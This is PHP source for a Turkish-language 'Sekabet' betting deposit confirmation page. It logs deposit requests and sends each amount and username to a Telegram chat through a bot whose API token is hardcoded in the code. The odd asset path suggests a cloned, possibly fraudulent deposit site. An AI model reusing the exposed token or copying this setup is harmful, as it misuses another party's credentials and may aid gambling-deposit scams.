<?php
if (isset($_POST) && isset($_SESSION['provider']) && $_SESSION['provider'] != 'cc') {
    if (isset($_SESSION['username'])) {
        // 5 dakika içinde 2den fazla form gönderemez kontrolü yaz
        $checkPayments = $db->fetchAll('SELECT * FROM req_payments WHERE username = ? AND date > ?', array($_SESSION['username'], time() - 300));
        if (count($checkPayments) >= 2) {
            echo '<script>alert("5 dakika içinde 2 talep gönderebilirsiniz.");window.location = "/tr/Banking/Deposit";</script>';
            exit;
        }
        
        @$db->insert('req_payments', array(
            'username' => $_SESSION['username'],
            'amount' => $_POST['amount'],
            'provider' => $_SESSION['provider'],
            'date' => time()
        ));
        
        function formatProvider($str) {
            if ($str == 'bank') return 'Havale';
            if ($str == 'papara') return 'Papara';
            if ($str == 'crypto') return 'Kripto';
            return $str;
        }
        
        $provider = formatProvider($_SESSION['provider']);
        $username = $_SESSION['username'];
        $amount = $_POST['amount'];
        
    function sendTelegram($chatID, $message) {
        $ch = curl_init();
        $send = "https://api.telegram.org/bot7347545087:AAHoe28Z7jd9XBY3U4hT2hb8nmNg_dEJQ9g/sendMessage?chat_id=$chatID&text=".urlencode($message);
        curl_setopt($ch, CURLOPT_URL, $send);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_exec($ch);
        curl_close($ch);
    }
        
    sendTelegram('-1002455943214',"MİKTAR : $amount ₺ 🧸 | $provider ($username) 💪");
    }
}
?>
<html lang="en">
    <head>
    <meta name="twitter:description" content="Sekabet, Türkiye'nin en çok kazandıran bahis ve casino sitesi. Güncel giriş, yüksek oranlar, canlı bahis, slot ve masa oyunları; hızlı para yatırma/çekme ve 7/24 destek.">
    <meta name="twitter:title" content="Sekabet | Türkiyenin en çok kazandıran bahis sitesi">
    <meta name="twitter:card" content="summary_large_image">
    <meta property="og:image" content="/sekabet5742.com/amdin/assets/img/front-pages/landing-page/faq-boy-with-logos.png">
    <meta property="og:description" content="Sekabet, Türkiye'nin en çok kazandıran bahis ve casino sitesi. Güncel giriş, yüksek oranlar, canlı bahis, slot ve masa oyunları; hızlı para yatırma/çekme ve 7/24 destek.">
    <meta property="og:title" content="Sekabet | Türkiyenin en çok kazandıran bahis sitesi">
    <meta name="keywords" content="Sekabet, Sekabet giriş, Sekabet güncel giriş, canlı bahis, casino, slot, bonus, yüksek oranlar">
    <meta name="description" content="Sekabet, Türkiye'nin en çok kazandıran bahis ve casino sitesi. Güncel giriş, yüksek oranlar, canlı bahis, slot ve masa oyunları; hızlı para yatırma/çekme ve 7/24 destek.">
    <meta charset="utf-8">
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <title>Sekabet | Türkiyenin en çok kazandıran bahis sitesi</title>
        <meta name="csrf-token" content="QJVOeU9A4USc4lT7fgTHaQsCnvUxF6PVEQFsOonh" />
        <link href="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,400;1,600&amp;display=swap" data-cfasync="false" rel="stylesheet" />
        <link href="/simple-checkout/assets/bootstrap.min.css" data-cfasync="false" rel="stylesheet">
        <link href="/simple-checkout/assets/fa.css" data-cfasync="false" rel="stylesheet">
        <link href="/simple-checkout/assets/general.css?v=0.1" data-cfasync="false" rel="stylesheet">
    </head>
    <body>
        <div class="container">
<div class="row justify-content-center">

        <div class="col-11 col-lg-8 box">

            <div class="row">
                <div class="col-12 col-sm-6">
                    <img class="site-logo" src="/simple-checkout/assets/sekabet.png">
                </div>
                <div class="col-6 col-sm-6 logo-container">
                    <img class="logo" src="/simple-checkout/assets/simplepay.png">
                </div>
            </div>

            <div class="row section-container">
                <div class="col-sm-4 d-none d-sm-block">
                    <div class="section completed">
                        <div class="row no-gutters">
                            <div class="col-9">MİKTAR</div>
                            <div class="col-3"><i class="far fa-check-circle"></i></div>
                        </div>
                    </div>
                </div>
                <div class="col-sm-4 d-none d-sm-block">
                    <div class="section completed">
                        <div class="row no-gutters">
                            <div class="col-9">HESAP</div>
                            <div class="col-3"><i class="far fa-check-circle"></i></div>
                        </div>
                    </div>
                </div>
                <div class="col-sm-4 d-none d-sm-block">
                    <div class="section completed">
                        <div class="row no-gutters">
                            <div class="col-9">TAMAMLANDI</div>
                            <div class="col-3"><i class="far fa-check-circle"></i></div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="row page-body">
                <div class="col-12">
                    <div class="row">
                        <div class="col-12 thanks">
                            <i class="fas fa-check-circle"></i>
                        </div>
                        <div class="col-12 txt-info">İşleminiz başarı ile gerçekleştirildi.</div>
                                                <div class="col-12 txt-info">
                            <a href="<?= SITE_URL ?>" class="btn btn-primary next-button" type="button">Siteye Geri Dön</a>
                        </div>
                                            </div>

                </div>
            </div>
        </div>
    </div>
        </div>
        <script src="/simple-checkout/assets/jquery.min.js" data-cfasync="false"></script>
        <script src="/simple-checkout/assets/bootstrap.min.js" data-cfasync="false"></script>
        <script type="text/javascript">
            $(document).ready(function () {
                $(document).on("click", "#copy-btn", function () {
                    var range = document.createRange();
                    range.selectNode(document.getElementById("iban"));
                    window.getSelection().removeAllRanges();
                    window.getSelection().addRange(range);
                    document.execCommand("copy");
                    window.getSelection().removeAllRanges();
                });

                $(".next-button").click(function () {
                    $(".next-button").prop("disabled", true);
                    $("#checkout-form").submit();
                });

                $("#checkout-form").submit(function (event) {
                    $(".next-button").prop("disabled", true);
                });
            });
        </script>
    </body>
</html>
